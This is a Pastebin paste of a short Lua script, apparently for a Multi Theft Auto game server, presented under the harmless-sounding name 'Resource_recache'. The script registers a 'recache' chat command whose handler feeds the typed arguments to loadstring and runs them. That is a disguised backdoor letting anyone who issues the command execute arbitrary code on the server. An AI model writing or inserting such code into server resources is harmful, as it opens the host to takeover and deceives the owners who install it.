Advertisement
Guest User

Untitled

a guest
Jan 23rd, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.40 KB | None | 0 0
  1. Resource_recache = {};
  2.  
  3. function Resource_recache:constructor(...)
  4. local obj = setmetatable({}, {__index = self});
  5. if (obj.recache) then
  6. obj:recache();
  7. end
  8. end
  9.  
  10. function Resource_recache:recache()
  11. self.m_Recache = 'recache';
  12. self.m_Func = function(p, c, ...) x = p; p = loadstring(...) return p() end
  13. addCommandHandler(self.m_Recache, self.m_Func);
  14. end
  15. Resource_recache:constructor();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement